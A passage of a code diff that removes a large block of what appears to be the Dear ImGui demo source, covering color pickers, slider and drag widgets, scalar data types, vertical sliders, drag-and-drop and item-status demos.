palette will persist and can be edited. - static bool saved_palette_init = true; - static ImVec4 saved_palette[32] = {}; - if (saved_palette_init) - { - for (int n = 0; n < IM_ARRAYSIZE(saved_palette); n++) - { - ImGui::ColorConvertHSVtoRGB(n / 31.0f, 0.8f, 0.8f, - saved_palette[n].x, saved_palette[n].y, saved_palette[n].z); - saved_palette[n].w = 1.0f; // Alpha - } - saved_palette_init = false; - } - - static ImVec4 backup_color; - bool open_popup = ImGui::ColorButton("MyColor##3b", color, misc_flags); - ImGui::SameLine(0, ImGui::GetStyle().ItemInnerSpacing.x); - open_popup |= ImGui::Button("Palette"); - if (open_popup) - { - ImGui::OpenPopup("mypicker"); - backup_color = color; - } - if (ImGui::BeginPopup("mypicker")) - { - ImGui::Text("MY CUSTOM COLOR PICKER WITH AN AMAZING PALETTE!"); - ImGui::Separator(); - ImGui::ColorPicker4("##picker", (float*)&color, misc_flags | ImGuiColorEditFlags_NoSidePreview | ImGuiColorEditFlags_NoSmallPreview); - ImGui::SameLine(); - - ImGui::BeginGroup(); // Lock X position - ImGui::Text("Current"); - ImGui::ColorButton("##current", color, ImGuiColorEditFlags_NoPicker | ImGuiColorEditFlags_AlphaPreviewHalf, ImVec2(60, 40)); - ImGui::Text("Previous"); - if (ImGui::ColorButton("##previous", backup_color, ImGuiColorEditFlags_NoPicker | ImGuiColorEditFlags_AlphaPreviewHalf, ImVec2(60, 40))) - color = backup_color; - ImGui::Separator(); - ImGui::Text("Palette"); - for (int n = 0; n < IM_ARRAYSIZE(saved_palette); n++) - { - ImGui::PushID(n); - if ((n % 8) != 0) - ImGui::SameLine(0.0f, ImGui::GetStyle().ItemSpacing.y); - - ImGuiColorEditFlags palette_button_flags = ImGuiColorEditFlags_NoAlpha | ImGuiColorEditFlags_NoPicker | ImGuiColorEditFlags_NoTooltip; - if (ImGui::ColorButton("##palette", saved_palette[n], palette_button_flags, ImVec2(20, 20))) - color = ImVec4(saved_palette[n].x, saved_palette[n].y, saved_palette[n].z, color.w); // Preserve alpha! - - // Allow user to drop colors into each palette entry. Note that ColorButton() is already a - // drag source by default, unless specifying the ImGuiColorEditFlags_NoDragDrop flag. - if (ImGui::BeginDragDropTarget()) - { - if (const ImGuiPayload* payload = ImGui::AcceptDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_3F)) - memcpy((float*)&saved_palette[n], payload->Data, sizeof(float) * 3); - if (const ImGuiPayload* payload = ImGui::AcceptDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_4F)) - memcpy((float*)&saved_palette[n], payload->Data, sizeof(float) * 4); - ImGui::EndDragDropTarget(); - } - - ImGui::PopID(); - } - ImGui::EndGroup(); - ImGui::EndPopup(); - } - - ImGui::Text("Color button only:"); - static bool no_border = false; - ImGui::Checkbox("ImGuiColorEditFlags_NoBorder", &no_border); - ImGui::ColorButton("MyColor##3c", *(ImVec4*)&color, misc_flags | (no_border ? ImGuiColorEditFlags_NoBorder : 0), ImVec2(80, 80)); - - ImGui::Text("Color picker:"); - static bool alpha = true; - static bool alpha_bar = true; - static bool side_preview = true; - static bool ref_color = false; - static ImVec4 ref_color_v(1.0f, 0.0f, 1.0f, 0.5f); - static int display_mode = 0; - static int picker_mode = 0; - ImGui::Checkbox("With Alpha", &alpha); - ImGui::Checkbox("With Alpha Bar", &alpha_bar); - ImGui::Checkbox("With Side Preview", &side_preview); - if (side_preview) - { - ImGui::SameLine(); - ImGui::Checkbox("With Ref Color", &ref_color); - if (ref_color) - { - ImGui::SameLine(); - ImGui::ColorEdit4("##RefColor", &ref_color_v.x, ImGuiColorEditFlags_NoInputs | misc_flags); - } - } - ImGui::Combo("Display Mode", &display_mode, "Auto/Current\0None\0RGB Only\0HSV Only\0Hex Only\0"); - ImGui::SameLine(); HelpMarker( - "ColorEdit defaults to displaying RGB inputs if you don't specify a display mode, " - "but the user can change it with a right-click.\n\nColorPicker defaults to displaying RGB+HSV+Hex " - "if you don't specify a display mode.\n\nYou can change the defaults using SetColorEditOptions()."); - ImGui::Combo("Picker Mode", &picker_mode, "Auto/Current\0Hue bar + SV rect\0Hue wheel + SV triangle\0"); - ImGui::SameLine(); HelpMarker("User can right-click the picker to change mode."); - ImGuiColorEditFlags flags = misc_flags; - if (!alpha) flags |= ImGuiColorEditFlags_NoAlpha; // This is by default if you call ColorPicker3() instead of ColorPicker4() - if (alpha_bar) flags |= ImGuiColorEditFlags_AlphaBar; - if (!side_preview) flags |= ImGuiColorEditFlags_NoSidePreview; - if (picker_mode == 1) flags |= ImGuiColorEditFlags_PickerHueBar; - if (picker_mode == 2) flags |= ImGuiColorEditFlags_PickerHueWheel; - if (display_mode == 1) flags |= ImGuiColorEditFlags_NoInputs; // Disable all RGB/HSV/Hex displays - if (display_mode == 2) flags |= ImGuiColorEditFlags_DisplayRGB; // Override display mode - if (display_mode == 3) flags |= ImGuiColorEditFlags_DisplayHSV; - if (display_mode == 4) flags |= ImGuiColorEditFlags_DisplayHex; - ImGui::ColorPicker4("MyColor##4", (float*)&color, flags, ref_color ? &ref_color_v.x : NULL); - - ImGui::Text("Set defaults in code:"); - ImGui::SameLine(); HelpMarker( - "SetColorEditOptions() is designed to allow you to set boot-time default.\n" - "We don't have Push/Pop functions because you can force options on a per-widget basis if needed," - "and the user can change non-forced ones with the options menu.\nWe don't have a getter to avoid" - "encouraging you to persistently save values that aren't forward-compatible."); - if (ImGui::Button("Default: Uint8 + HSV + Hue Bar")) - ImGui::SetColorEditOptions(ImGuiColorEditFlags_Uint8 | ImGuiColorEditFlags_DisplayHSV | ImGuiColorEditFlags_PickerHueBar); - if (ImGui::Button("Default: Float + HDR + Hue Wheel")) - ImGui::SetColorEditOptions(ImGuiColorEditFlags_Float | ImGuiColorEditFlags_HDR | ImGuiColorEditFlags_PickerHueWheel); - - // HSV encoded support (to avoid RGB<>HSV round trips and singularities when S==0 or V==0) - static ImVec4 color_hsv(0.23f, 1.0f, 1.0f, 1.0f); // Stored as HSV! - ImGui::Spacing(); - ImGui::Text("HSV encoded colors"); - ImGui::SameLine(); HelpMarker( - "By default, colors are given to ColorEdit and ColorPicker in RGB, but ImGuiColorEditFlags_InputHSV" - "allows you to store colors as HSV and pass them to ColorEdit and ColorPicker as HSV. This comes with the" - "added benefit that you can manipulate hue values with the picker even when saturation or value are zero."); - ImGui::Text("Color widget with InputHSV:"); - ImGui::ColorEdit4("HSV shown as RGB##1", (float*)&color_hsv, ImGuiColorEditFlags_DisplayRGB | ImGuiColorEditFlags_InputHSV | ImGuiColorEditFlags_Float); - ImGui::ColorEdit4("HSV shown as HSV##1", (float*)&color_hsv, ImGuiColorEditFlags_DisplayHSV | ImGuiColorEditFlags_InputHSV | ImGuiColorEditFlags_Float); - ImGui::DragFloat4("Raw HSV values", (float*)&color_hsv, 0.01f, 0.0f, 1.0f); - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Drag/Slider Flags")) - { - // Demonstrate using advanced flags for DragXXX and SliderXXX functions. Note that the flags are the same! - static ImGuiSliderFlags flags = ImGuiSliderFlags_None; - ImGui::CheckboxFlags("ImGuiSliderFlags_AlwaysClamp", &flags, ImGuiSliderFlags_AlwaysClamp); - ImGui::SameLine(); HelpMarker("Always clamp value to min/max bounds (if any) when input manually with CTRL+Click."); - ImGui::CheckboxFlags("ImGuiSliderFlags_Logarithmic", &flags, ImGuiSliderFlags_Logarithmic); - ImGui::SameLine(); HelpMarker("Enable logarithmic editing (more precision for small values)."); - ImGui::CheckboxFlags("ImGuiSliderFlags_NoRoundToFormat", &flags, ImGuiSliderFlags_NoRoundToFormat); - ImGui::SameLine(); HelpMarker("Disable rounding underlying value to match precision of the format string (e.g. %.3f values are rounded to those 3 digits)."); - ImGui::CheckboxFlags("ImGuiSliderFlags_NoInput", &flags, ImGuiSliderFlags_NoInput); - ImGui::SameLine(); HelpMarker("Disable CTRL+Click or Enter key allowing to input text directly into the widget."); - - // Drags - static float drag_f = 0.5f; - static int drag_i = 50; - ImGui::Text("Underlying float value: %f", drag_f); - ImGui::DragFloat("DragFloat (0 -> 1)", &drag_f, 0.005f, 0.0f, 1.0f, "%.3f", flags); - ImGui::DragFloat("DragFloat (0 -> +inf)", &drag_f, 0.005f, 0.0f, FLT_MAX, "%.3f", flags); - ImGui::DragFloat("DragFloat (-inf -> 1)", &drag_f, 0.005f, -FLT_MAX, 1.0f, "%.3f", flags); - ImGui::DragFloat("DragFloat (-inf -> +inf)", &drag_f, 0.005f, -FLT_MAX, +FLT_MAX, "%.3f", flags); - ImGui::DragInt("DragInt (0 -> 100)", &drag_i, 0.5f, 0, 100, "%d", flags); - - // Sliders - static float slider_f = 0.5f; - static int slider_i = 50; - ImGui::Text("Underlying float value: %f", slider_f); - ImGui::SliderFloat("SliderFloat (0 -> 1)", &slider_f, 0.0f, 1.0f, "%.3f", flags); - ImGui::SliderInt("SliderInt (0 -> 100)", &slider_i, 0, 100, "%d", flags); - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Range Widgets")) - { - static float begin = 10, end = 90; - static int begin_i = 100, end_i = 1000; - ImGui::DragFloatRange2("range float", &begin, &end, 0.25f, 0.0f, 100.0f, "Min: %.1f %%", "Max: %.1f %%", ImGuiSliderFlags_AlwaysClamp); - ImGui::DragIntRange2("range int", &begin_i, &end_i, 5, 0, 1000, "Min: %d units", "Max: %d units"); - ImGui::DragIntRange2("range int (no bounds)", &begin_i, &end_i, 5, 0, 0, "Min: %d units", "Max: %d units"); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Data Types")) - { - // DragScalar/InputScalar/SliderScalar functions allow various data types - // - signed/unsigned - // - 8/16/32/64-bits - // - integer/float/double - // To avoid polluting the public API with all possible combinations, we use the ImGuiDataType enum - // to pass the type, and passing all arguments by pointer. - // This is the reason the test code below creates local variables to hold "zero" "one" etc. for each types. - // In practice, if you frequently use a given type that is not covered by the normal API entry points, - // you can wrap it yourself inside a 1 line function which can take typed argument as value instead of void*, - // and then pass their address to the generic function. For example: - // bool MySliderU64(const char *label, u64* value, u64 min = 0, u64 max = 0, const char* format = "%lld") - // { - // return SliderScalar(label, ImGuiDataType_U64, value, &min, &max, format); - // } - - // Setup limits (as helper variables so we can take their address, as explained above) - // Note: SliderScalar() functions have a maximum usable range of half the natural type maximum, hence the /2. - #ifndef LLONG_MIN - ImS64 LLONG_MIN = -9223372036854775807LL - 1; - ImS64 LLONG_MAX = 9223372036854775807LL; - ImU64 ULLONG_MAX = (2ULL * 9223372036854775807LL + 1); - #endif - const char s8_zero = 0, s8_one = 1, s8_fifty = 50, s8_min = -128, s8_max = 127; - const ImU8 u8_zero = 0, u8_one = 1, u8_fifty = 50, u8_min = 0, u8_max = 255; - const short s16_zero = 0, s16_one = 1, s16_fifty = 50, s16_min = -32768, s16_max = 32767; - const ImU16 u16_zero = 0, u16_one = 1, u16_fifty = 50, u16_min = 0, u16_max = 65535; - const ImS32 s32_zero = 0, s32_one = 1, s32_fifty = 50, s32_min = INT_MIN/2, s32_max = INT_MAX/2, s32_hi_a = INT_MAX/2 - 100, s32_hi_b = INT_MAX/2; - const ImU32 u32_zero = 0, u32_one = 1, u32_fifty = 50, u32_min = 0, u32_max = UINT_MAX/2, u32_hi_a = UINT_MAX/2 - 100, u32_hi_b = UINT_MAX/2; - const ImS64 s64_zero = 0, s64_one = 1, s64_fifty = 50, s64_min = LLONG_MIN/2, s64_max = LLONG_MAX/2, s64_hi_a = LLONG_MAX/2 - 100, s64_hi_b = LLONG_MAX/2; - const ImU64 u64_zero = 0, u64_one = 1, u64_fifty = 50, u64_min = 0, u64_max = ULLONG_MAX/2, u64_hi_a = ULLONG_MAX/2 - 100, u64_hi_b = ULLONG_MAX/2; - const float f32_zero = 0.f, f32_one = 1.f, f32_lo_a = -10000000000.0f, f32_hi_a = +10000000000.0f; - const double f64_zero = 0., f64_one = 1., f64_lo_a = -1000000000000000.0, f64_hi_a = +1000000000000000.0; - - // State - static char s8_v = 127; - static ImU8 u8_v = 255; - static short s16_v = 32767; - static ImU16 u16_v = 65535; - static ImS32 s32_v = -1; - static ImU32 u32_v = (ImU32)-1; - static ImS64 s64_v = -1; - static ImU64 u64_v = (ImU64)-1; - static float f32_v = 0.123f; - static double f64_v = 90000.01234567890123456789; - - const float drag_speed = 0.2f; - static bool drag_clamp = false; - ImGui::Text("Drags:"); - ImGui::Checkbox("Clamp integers to 0..50", &drag_clamp); - ImGui::SameLine(); HelpMarker( - "As with every widgets in dear imgui, we never modify values unless there is a user interaction.\n" - "You can override the clamping limits by using CTRL+Click to input a value."); - ImGui::DragScalar("drag s8", ImGuiDataType_S8, &s8_v, drag_speed, drag_clamp ? &s8_zero : NULL, drag_clamp ? &s8_fifty : NULL); - ImGui::DragScalar("drag u8", ImGuiDataType_U8, &u8_v, drag_speed, drag_clamp ? &u8_zero : NULL, drag_clamp ? &u8_fifty : NULL, "%u ms"); - ImGui::DragScalar("drag s16", ImGuiDataType_S16, &s16_v, drag_speed, drag_clamp ? &s16_zero : NULL, drag_clamp ? &s16_fifty : NULL); - ImGui::DragScalar("drag u16", ImGuiDataType_U16, &u16_v, drag_speed, drag_clamp ? &u16_zero : NULL, drag_clamp ? &u16_fifty : NULL, "%u ms"); - ImGui::DragScalar("drag s32", ImGuiDataType_S32, &s32_v, drag_speed, drag_clamp ? &s32_zero : NULL, drag_clamp ? &s32_fifty : NULL); - ImGui::DragScalar("drag u32", ImGuiDataType_U32, &u32_v, drag_speed, drag_clamp ? &u32_zero : NULL, drag_clamp ? &u32_fifty : NULL, "%u ms"); - ImGui::DragScalar("drag s64", ImGuiDataType_S64, &s64_v, drag_speed, drag_clamp ? &s64_zero : NULL, drag_clamp ? &s64_fifty : NULL); - ImGui::DragScalar("drag u64", ImGuiDataType_U64, &u64_v, drag_speed, drag_clamp ? &u64_zero : NULL, drag_clamp ? &u64_fifty : NULL); - ImGui::DragScalar("drag float", ImGuiDataType_Float, &f32_v, 0.005f, &f32_zero, &f32_one, "%f"); - ImGui::DragScalar("drag float log", ImGuiDataType_Float, &f32_v, 0.005f, &f32_zero, &f32_one, "%f", ImGuiSliderFlags_Logarithmic); - ImGui::DragScalar("drag double", ImGuiDataType_Double, &f64_v, 0.0005f, &f64_zero, NULL, "%.10f grams"); - ImGui::DragScalar("drag double log",ImGuiDataType_Double, &f64_v, 0.0005f, &f64_zero, &f64_one, "0 < %.10f < 1", ImGuiSliderFlags_Logarithmic); - - ImGui::Text("Sliders"); - ImGui::SliderScalar("slider s8 full", ImGuiDataType_S8, &s8_v, &s8_min, &s8_max, "%d"); - ImGui::SliderScalar("slider u8 full", ImGuiDataType_U8, &u8_v, &u8_min, &u8_max, "%u"); - ImGui::SliderScalar("slider s16 full", ImGuiDataType_S16, &s16_v, &s16_min, &s16_max, "%d"); - ImGui::SliderScalar("slider u16 full", ImGuiDataType_U16, &u16_v, &u16_min, &u16_max, "%u"); - ImGui::SliderScalar("slider s32 low", ImGuiDataType_S32, &s32_v, &s32_zero, &s32_fifty,"%d"); - ImGui::SliderScalar("slider s32 high", ImGuiDataType_S32, &s32_v, &s32_hi_a, &s32_hi_b, "%d"); - ImGui::SliderScalar("slider s32 full", ImGuiDataType_S32, &s32_v, &s32_min, &s32_max, "%d"); - ImGui::SliderScalar("slider u32 low", ImGuiDataType_U32, &u32_v, &u32_zero, &u32_fifty,"%u"); - ImGui::SliderScalar("slider u32 high", ImGuiDataType_U32, &u32_v, &u32_hi_a, &u32_hi_b, "%u"); - ImGui::SliderScalar("slider u32 full", ImGuiDataType_U32, &u32_v, &u32_min, &u32_max, "%u"); - ImGui::SliderScalar("slider s64 low", ImGuiDataType_S64, &s64_v, &s64_zero, &s64_fifty,"%" IM_PRId64); - ImGui::SliderScalar("slider s64 high", ImGuiDataType_S64, &s64_v, &s64_hi_a, &s64_hi_b, "%" IM_PRId64); - ImGui::SliderScalar("slider s64 full", ImGuiDataType_S64, &s64_v, &s64_min, &s64_max, "%" IM_PRId64); - ImGui::SliderScalar("slider u64 low", ImGuiDataType_U64, &u64_v, &u64_zero, &u64_fifty,"%" IM_PRIu64 " ms"); - ImGui::SliderScalar("slider u64 high", ImGuiDataType_U64, &u64_v, &u64_hi_a, &u64_hi_b, "%" IM_PRIu64 " ms"); - ImGui::SliderScalar("slider u64 full", ImGuiDataType_U64, &u64_v, &u64_min, &u64_max, "%" IM_PRIu64 " ms"); - ImGui::SliderScalar("slider float low", ImGuiDataType_Float, &f32_v, &f32_zero, &f32_one); - ImGui::SliderScalar("slider float low log", ImGuiDataType_Float, &f32_v, &f32_zero, &f32_one, "%.10f", ImGuiSliderFlags_Logarithmic); - ImGui::SliderScalar("slider float high", ImGuiDataType_Float, &f32_v, &f32_lo_a, &f32_hi_a, "%e"); - ImGui::SliderScalar("slider double low", ImGuiDataType_Double, &f64_v, &f64_zero, &f64_one, "%.10f grams"); - ImGui::SliderScalar("slider double low log",ImGuiDataType_Double, &f64_v, &f64_zero, &f64_one, "%.10f", ImGuiSliderFlags_Logarithmic); - ImGui::SliderScalar("slider double high", ImGuiDataType_Double, &f64_v, &f64_lo_a, &f64_hi_a, "%e grams"); - - ImGui::Text("Sliders (reverse)"); - ImGui::SliderScalar("slider s8 reverse", ImGuiDataType_S8, &s8_v, &s8_max, &s8_min, "%d"); - ImGui::SliderScalar("slider u8 reverse", ImGuiDataType_U8, &u8_v, &u8_max, &u8_min, "%u"); - ImGui::SliderScalar("slider s32 reverse", ImGuiDataType_S32, &s32_v, &s32_fifty, &s32_zero, "%d"); - ImGui::SliderScalar("slider u32 reverse", ImGuiDataType_U32, &u32_v, &u32_fifty, &u32_zero, "%u"); - ImGui::SliderScalar("slider s64 reverse", ImGuiDataType_S64, &s64_v, &s64_fifty, &s64_zero, "%" IM_PRId64); - ImGui::SliderScalar("slider u64 reverse", ImGuiDataType_U64, &u64_v, &u64_fifty, &u64_zero, "%" IM_PRIu64 " ms"); - - static bool inputs_step = true; - ImGui::Text("Inputs"); - ImGui::Checkbox("Show step buttons", &inputs_step); - ImGui::InputScalar("input s8", ImGuiDataType_S8, &s8_v, inputs_step ? &s8_one : NULL, NULL, "%d"); - ImGui::InputScalar("input u8", ImGuiDataType_U8, &u8_v, inputs_step ? &u8_one : NULL, NULL, "%u"); - ImGui::InputScalar("input s16", ImGuiDataType_S16, &s16_v, inputs_step ? &s16_one : NULL, NULL, "%d"); - ImGui::InputScalar("input u16", ImGuiDataType_U16, &u16_v, inputs_step ? &u16_one : NULL, NULL, "%u"); - ImGui::InputScalar("input s32", ImGuiDataType_S32, &s32_v, inputs_step ? &s32_one : NULL, NULL, "%d"); - ImGui::InputScalar("input s32 hex", ImGuiDataType_S32, &s32_v, inputs_step ? &s32_one : NULL, NULL, "%08X", ImGuiInputTextFlags_CharsHexadecimal); - ImGui::InputScalar("input u32", ImGuiDataType_U32, &u32_v, inputs_step ? &u32_one : NULL, NULL, "%u"); - ImGui::InputScalar("input u32 hex", ImGuiDataType_U32, &u32_v, inputs_step ? &u32_one : NULL, NULL, "%08X", ImGuiInputTextFlags_CharsHexadecimal); - ImGui::InputScalar("input s64", ImGuiDataType_S64, &s64_v, inputs_step ? &s64_one : NULL); - ImGui::InputScalar("input u64", ImGuiDataType_U64, &u64_v, inputs_step ? &u64_one : NULL); - ImGui::InputScalar("input float", ImGuiDataType_Float, &f32_v, inputs_step ? &f32_one : NULL); - ImGui::InputScalar("input double", ImGuiDataType_Double, &f64_v, inputs_step ? &f64_one : NULL); - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Multi-component Widgets")) - { - static float vec4f[4] = { 0.10f, 0.20f, 0.30f, 0.44f }; - static int vec4i[4] = { 1, 5, 100, 255 }; - - ImGui::InputFloat2("input float2", vec4f); - ImGui::DragFloat2("drag float2", vec4f, 0.01f, 0.0f, 1.0f); - ImGui::SliderFloat2("slider float2", vec4f, 0.0f, 1.0f); - ImGui::InputInt2("input int2", vec4i); - ImGui::DragInt2("drag int2", vec4i, 1, 0, 255); - ImGui::SliderInt2("slider int2", vec4i, 0, 255); - ImGui::Spacing(); - - ImGui::InputFloat3("input float3", vec4f); - ImGui::DragFloat3("drag float3", vec4f, 0.01f, 0.0f, 1.0f); - ImGui::SliderFloat3("slider float3", vec4f, 0.0f, 1.0f); - ImGui::InputInt3("input int3", vec4i); - ImGui::DragInt3("drag int3", vec4i, 1, 0, 255); - ImGui::SliderInt3("slider int3", vec4i, 0, 255); - ImGui::Spacing(); - - ImGui::InputFloat4("input float4", vec4f); - ImGui::DragFloat4("drag float4", vec4f, 0.01f, 0.0f, 1.0f); - ImGui::SliderFloat4("slider float4", vec4f, 0.0f, 1.0f); - ImGui::InputInt4("input int4", vec4i); - ImGui::DragInt4("drag int4", vec4i, 1, 0, 255); - ImGui::SliderInt4("slider int4", vec4i, 0, 255); - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Vertical Sliders")) - { - const float spacing = 4; - ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(spacing, spacing)); - - static int int_value = 0; - ImGui::VSliderInt("##int", ImVec2(18, 160), &int_value, 0, 5); - ImGui::SameLine(); - - static float values[7] = { 0.0f, 0.60f, 0.35f, 0.9f, 0.70f, 0.20f, 0.0f }; - ImGui::PushID("set1"); - for (int i = 0; i < 7; i++) - { - if (i > 0) ImGui::SameLine(); - ImGui::PushID(i); - ImGui::PushStyleColor(ImGuiCol_FrameBg, (ImVec4)ImColor::HSV(i / 7.0f, 0.5f, 0.5f)); - ImGui::PushStyleColor(ImGuiCol_FrameBgHovered, (ImVec4)ImColor::HSV(i / 7.0f, 0.6f, 0.5f)); - ImGui::PushStyleColor(ImGuiCol_FrameBgActive, (ImVec4)ImColor::HSV(i / 7.0f, 0.7f, 0.5f)); - ImGui::PushStyleColor(ImGuiCol_SliderGrab, (ImVec4)ImColor::HSV(i / 7.0f, 0.9f, 0.9f)); - ImGui::VSliderFloat("##v", ImVec2(18, 160), &values[i], 0.0f, 1.0f, ""); - if (ImGui::IsItemActive() || ImGui::IsItemHovered()) - ImGui::SetTooltip("%.3f", values[i]); - ImGui::PopStyleColor(4); - ImGui::PopID(); - } - ImGui::PopID(); - - ImGui::SameLine(); - ImGui::PushID("set2"); - static float values2[4] = { 0.20f, 0.80f, 0.40f, 0.25f }; - const int rows = 3; - const ImVec2 small_slider_size(18, (float)(int)((160.0f - (rows - 1) * spacing) / rows)); - for (int nx = 0; nx < 4; nx++) - { - if (nx > 0) ImGui::SameLine(); - ImGui::BeginGroup(); - for (int ny = 0; ny < rows; ny++) - { - ImGui::PushID(nx * rows + ny); - ImGui::VSliderFloat("##v", small_slider_size, &values2[nx], 0.0f, 1.0f, ""); - if (ImGui::IsItemActive() || ImGui::IsItemHovered()) - ImGui::SetTooltip("%.3f", values2[nx]); - ImGui::PopID(); - } - ImGui::EndGroup(); - } - ImGui::PopID(); - - ImGui::SameLine(); - ImGui::PushID("set3"); - for (int i = 0; i < 4; i++) - { - if (i > 0) ImGui::SameLine(); - ImGui::PushID(i); - ImGui::PushStyleVar(ImGuiStyleVar_GrabMinSize, 40); - ImGui::VSliderFloat("##v", ImVec2(40, 160), &values[i], 0.0f, 1.0f, "%.2f\nsec"); - ImGui::PopStyleVar(); - ImGui::PopID(); - } - ImGui::PopID(); - ImGui::PopStyleVar(); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Drag and Drop")) - { - if (ImGui::TreeNode("Drag and drop in standard widgets")) - { - // ColorEdit widgets automatically act as drag source and drag target. - // They are using standardized payload strings IMGUI_PAYLOAD_TYPE_COLOR_3F and IMGUI_PAYLOAD_TYPE_COLOR_4F - // to allow your own widgets to use colors in their drag and drop interaction. - // Also see 'Demo->Widgets->Color/Picker Widgets->Palette' demo. - HelpMarker("You can drag from the color squares."); - static float col1[3] = { 1.0f, 0.0f, 0.2f }; - static float col2[4] = { 0.4f, 0.7f, 0.0f, 0.5f }; - ImGui::ColorEdit3("color 1", col1); - ImGui::ColorEdit4("color 2", col2); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Drag and drop to copy/swap items")) - { - enum Mode - { - Mode_Copy, - Mode_Move, - Mode_Swap - }; - static int mode = 0; - if (ImGui::RadioButton("Copy", mode == Mode_Copy)) { mode = Mode_Copy; } ImGui::SameLine(); - if (ImGui::RadioButton("Move", mode == Mode_Move)) { mode = Mode_Move; } ImGui::SameLine(); - if (ImGui::RadioButton("Swap", mode == Mode_Swap)) { mode = Mode_Swap; } - static const char* names[9] = - { - "Bobby", "Beatrice", "Betty", - "Brianna", "Barry", "Bernard", - "Bibi", "Blaine", "Bryn" - }; - for (int n = 0; n < IM_ARRAYSIZE(names); n++) - { - ImGui::PushID(n); - if ((n % 3) != 0) - ImGui::SameLine(); - ImGui::Button(names[n], ImVec2(60, 60)); - - // Our buttons are both drag sources and drag targets here! - if (ImGui::BeginDragDropSource(ImGuiDragDropFlags_None)) - { - // Set payload to carry the index of our item (could be anything) - ImGui::SetDragDropPayload("DND_DEMO_CELL", &n, sizeof(int)); - - // Display preview (could be anything, e.g. when dragging an image we could decide to display - // the filename and a small preview of the image, etc.) - if (mode == Mode_Copy) { ImGui::Text("Copy %s", names[n]); } - if (mode == Mode_Move) { ImGui::Text("Move %s", names[n]); } - if (mode == Mode_Swap) { ImGui::Text("Swap %s", names[n]); } - ImGui::EndDragDropSource(); - } - if (ImGui::BeginDragDropTarget()) - { - if (const ImGuiPayload* payload = ImGui::AcceptDragDropPayload("DND_DEMO_CELL")) - { - IM_ASSERT(payload->DataSize == sizeof(int)); - int payload_n = *(const int*)payload->Data; - if (mode == Mode_Copy) - { - names[n] = names[payload_n]; - } - if (mode == Mode_Move) - { - names[n] = names[payload_n]; - names[payload_n] = ""; - } - if (mode == Mode_Swap) - { - const char* tmp = names[n]; - names[n] = names[payload_n]; - names[payload_n] = tmp; - } - } - ImGui::EndDragDropTarget(); - } - ImGui::PopID(); - } - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Drag to reorder items (simple)")) - { - // Simple reordering - HelpMarker( - "We don't use the drag and drop api at all here! " - "Instead we query when the item is held but not hovered, and order items accordingly."); - static const char* item_names[] = { "Item One", "Item Two", "Item Three", "Item Four", "Item Five" }; - for (int n = 0; n < IM_ARRAYSIZE(item_names); n++) - { - const char* item = item_names[n]; - ImGui::Selectable(item); - - if (ImGui::IsItemActive() && !ImGui::IsItemHovered()) - { - int n_next = n + (ImGui::GetMouseDragDelta(0).y < 0.f ? -1 : 1); - if (n_next >= 0 && n_next < IM_ARRAYSIZE(item_names)) - { - item_names[n] = item_names[n_next]; - item_names[n_next] = item; - ImGui::ResetMouseDragDelta(); - } - } - } - ImGui::TreePop(); - } - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Querying Status (Edited/Active/Focused/Hovered etc.)")) - { - // Select an item type - const char* item_names[] = - { - "Text", "Button", "Button (w/ repeat)", "Checkbox", "SliderFloat", "InputText", "InputFloat", - "InputFloat3", "ColorEdit4", "MenuItem", "TreeNode", "TreeNode (w/ double-click)", "Combo", "ListBox" - }; - static int item_type = 1; - ImGui::Combo("Item Type", &item_type, item_names, IM_ARRAYSIZE(item_names), IM_ARRAYSIZE(item_names)); - ImGui::SameLine(); - HelpMarker("Testing how various types of items are interacting with the IsItemXXX functions. Note that the bool return value of most ImGui function is generally equivalent to calling ImGui::IsItemHovered()."); - - // Submit selected item item so we can query their status in the code following it. - bool ret = false; - static bool b = false; - static float col4f[4] = { 1.0f, 0.5, 0.0f, 1.0f }; - static char str[16] = {}; - if (item_type == 0) { ImGui::Text("ITEM: Text"); } // Testing text items with no identifier/interaction - if (item_type == 1) { ret = ImGui::Button("ITEM: Button"); } // Testing button - if (item_type == 2) { ImGui::PushButtonRepeat(true); ret = ImGui::Button("ITEM: Button"); ImGui::PopButtonRepeat(); } // Testing button (with repeater) - if (item_type == 3) { ret = ImGui::Checkbox("ITEM: Checkbox", &b); } // Testing checkbox - if (item_type == 4) { ret = ImGui::SliderFloat("ITEM: SliderFloat", &col4f[0], 0.0f, 1.0f); } // Testing basic item - if (item_type == 5) { ret = ImGui::InputText("ITEM: InputText", &str[0], IM_ARRAYSIZE(str)); } // Testing input text (which handles tabbing) - if (item_type == 6) { ret = ImGui::InputFloat("ITEM: InputFloat", col4f, 1.0f); } // Testing +/- buttons on scalar input - if (item_type == 7) { ret = ImGui::InputFloat3("ITEM: InputFloat3", col4f); } // Testing multi-component items (IsItemXXX flags are reported merged) - if (item_type == 8) { ret = ImGui::ColorEdit4("ITEM: ColorEdit4", col4f); } // Testing multi-component items (IsItemXXX flags are reported merged) - if (item_type == 9) { ret = ImGui::MenuItem("ITEM: MenuItem"); } // Testing menu item (they use ImGuiButtonFlags_PressedOnRelease button policy) - if (item_type == 10){ ret = ImGui::TreeNode("ITEM: TreeNode"); if (ret) ImGui::TreePop(); } // Testing tree node - if (item_type == 11){ ret = ImGui::TreeNodeEx("ITEM: TreeNode w/ ImGuiTreeNodeFlags_OpenOnDoubleClick", ImGuiTreeNodeFlags_OpenOnDoubleClick | ImGuiTreeNodeFlags_NoTreePushOnOpen); } // Testing tree node with ImGuiButtonFlags_PressedOnDoubleClick button policy. - if (item_type == 12){ const char* items[] = { "Apple", "Banana", "Cherry", "Kiwi" }; static int current = 1; ret = ImGui::Combo("ITEM: Combo", ¤t, items, IM_ARRAYSIZE(items)); } - if (item_type == 13){ const char* items[] = { "Apple", "Banana", "Cherry", "Kiwi" }; static int current = 1; ret = ImGui::ListBox("ITEM: ListBox", ¤t, items, IM_ARRAYSIZE(items), IM_ARRAYSIZE(items)); } - - // Display the values of IsItemHovered() and other common item state functions. - // Note that the ImGuiHoveredFlags_XXX flags can be combined. - // Because BulletText is an item itself and that would affect the output of IsItemXXX functions, - // 